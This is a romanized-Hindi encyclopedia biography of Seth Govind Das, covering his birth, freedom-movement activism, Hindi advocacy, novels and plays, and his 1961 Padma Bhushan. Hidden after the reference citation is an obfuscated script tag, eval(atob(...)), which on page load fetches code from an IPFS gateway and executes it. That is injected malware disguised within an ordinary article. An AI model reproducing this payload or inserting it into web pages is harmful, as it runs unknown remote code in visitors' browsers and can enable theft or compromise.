सेठ गोविन्द दास
seth govind das
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| poora nam | seth goviand das |
| janm | 16 aktoobar, 1896 |
| mrityu | 18 joon, 1974 |
| mrityu sthan | mumbee, maharashtr |
| abhibhavak | pita- jivan das |
| nagarikata | bharatiy |
| prasiddhi | svatantrata senani aur sahityakar |
| parti | kaangres |
| pad | 1923, kendriy sabha |
| bhasha | hiandi, aangreji |
| jel yatra | seth goviand das ne mahatma gaandhi dvara sanchalit sabhi andolanoan mean bhag liya tatha anek bar jel gaye. |
| puraskar-upadhi | 1961, padm bhooshan |
| any janakari | seth goviand das bharatiy sanskriti ke prabal anuragi tatha hindi bhasha ke prabal pakshadhar the. hindi ke prashn par seth ji ne kaangres ki niti se hatakar sansad mean dridhata se hindi ka paksh liya. |
seth goviand das (aangrezi: Seth Govind Das janm-16 aktoobar, 1896 mrityu- 18 joon, 1974, mumbee, maharashtr) bharat ke svatantrata senani, saansad tatha hindi ke sahityakar the. unhean sahity evan shiksha ke kshetr mean san 1961 mean padm bhooshan se sammanit kiya gaya tha. bharat ki rajabhasha ke roop mean hindi ke ve prabal samarthak the.[1]
parichay
seth govind das ka janm 16 aktoobar, 1896 ko sampann marava di parivar mean hua tha. inake dada gokul das ne parivarik vyavasay ko ullekhaniy bulandiyoan tak pahuanchaya. unake pita jivan das ne vilasi jivan vyatit kiya. govind das ne ghar par hi shiksha grahan ki. unhoanne bis varsh ki ayu mean sarvajanik jivan mean pravesh kiya. san 1923 mean ve kendriy sabha ke lie chune gaye. unhoanne mahatma gaandhi dvara sanchalit sabhi andolanoan mean bhag liya tatha anek bar jel gaye. seth goviand das hindi ke anany sadhak, bharatiy sanskriti mean atal vishvas rakhane vale, kala-marmajn evan vipul matra mean sahity-rachana karane vale, hindi ke utkrisht natyakar hi nahian the, apitu sarvajanik jivan mean atyant svachchh, niti-vyavahar mean sulajhe hue, sevabhavi rajanitijn bhi the. aangreji bhasha, sahity aur sanskriti hi nahian, sketiang, nrity, ghu dasavari ka jadoo bhi in par chadha.
vaibhavashali jivan ka parityag
gaandhi ji ke asahayog aandolan ka tarun goviand das par gahara prabhav p da aur vaibhavashali jivan ka parityag kar ve din-dukhiyoan ke sath sevakoan ke dal mean shamil ho ge tatha dar-dar ki khak chhani, jel ge, jurmana bhugata aur sarakar se bagavat ke karan paitrik sanpatti ka uttaradhikar bhi ganvaya.
rachanaean
rajanitijn ke alava, seth govind das ek jane-mane rachanakar bhi the. unhoanne hindi mean sau se adhik pustakoan ki rachana ki. unake natakoan ka kainavas bharatiy pauranik kalaoan aur itihas ki sampoorn avadhi ko achchhadit karata hai. seth ji par devakinandan khatri ke tilasmi upanyasoan 'chandrakaanta santati' ki tarj par unhoanne 'chanpavati', 'krishnalata' aur 'somalata' namak upanyas likhe, vah bhi matr solah varsh ki kishoravastha mean.
sheksapiyar se prabhavit
sahity mean doosara prabhav seth ji par sheksapiyar ka p da. sheksapiyar ke 'romiyo-jooliyat', 'ezayoo laik it', 'petevkij prians aauph tayar' aur 'viantars tel' namak prasiddh natakoan ke adhar par seth ji ne 'surendr-suandari', 'krishnakamini', 'honahar' aur 'vyarth sandeh' namak upanyasoan ki rachana ki. is tarah seth ji ki sahity-rachana ka praranbh upanyas se hua. isi samay unaki ruchi kavita mean badhi. apane upanyasoan mean to jagah-jagah unhoanne kavy ka prayog kiya hi, 'vanasur-parabhav' namak kavy ki bhi rachana ki.
- natak
san 1917 mean seth ji ka pahala natak 'vishv prem' chhapa. usaka manchan bhi hua. prasiddh videshi natakakar ibsan se prerana lekar apane apane lekhan mean amool-chool parivartan kar dala. unhoanne nee takanik ka prayog karate hue pratik shaili mean natak likhe. 'vikas' unaka svapn natak hai. 'navaras' unaka naty-rupak hai. hindi mean mono drama pahale-pahal seth ji ne hi likhe.
bharatiy sanskriti ke sanvahak
hindi bhasha ki hit-chianta mean tan-man-dhan se sanlagn seth goviand das hindi sahity sammelan ke atyant saphal sabhapati siddh hue. hindi ke prashn par inhoanne kaangres ki niti se hatakar sansad mean dridhata se hindi ka paksh liya. seth bharatiy sanskriti ke prabal anuragi tatha hindi bhasha ke prabal pakshadhar the.
puraskar
seth govind das ko sahity evan shiksha ke kshetr mean san 1961 mean padm bhooshan se sammanit kiya gaya tha.
nidhan
seth goviand das ka nidhan 18 joon, 1974 ko hua tha.
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tika tippani aur sandarbh
- ↑ rajasthan ke kraantikari (hiandi) kranti1857. abhigaman tithi: 19 faravari, 2017.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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varnamala kramanusar lekh khoj
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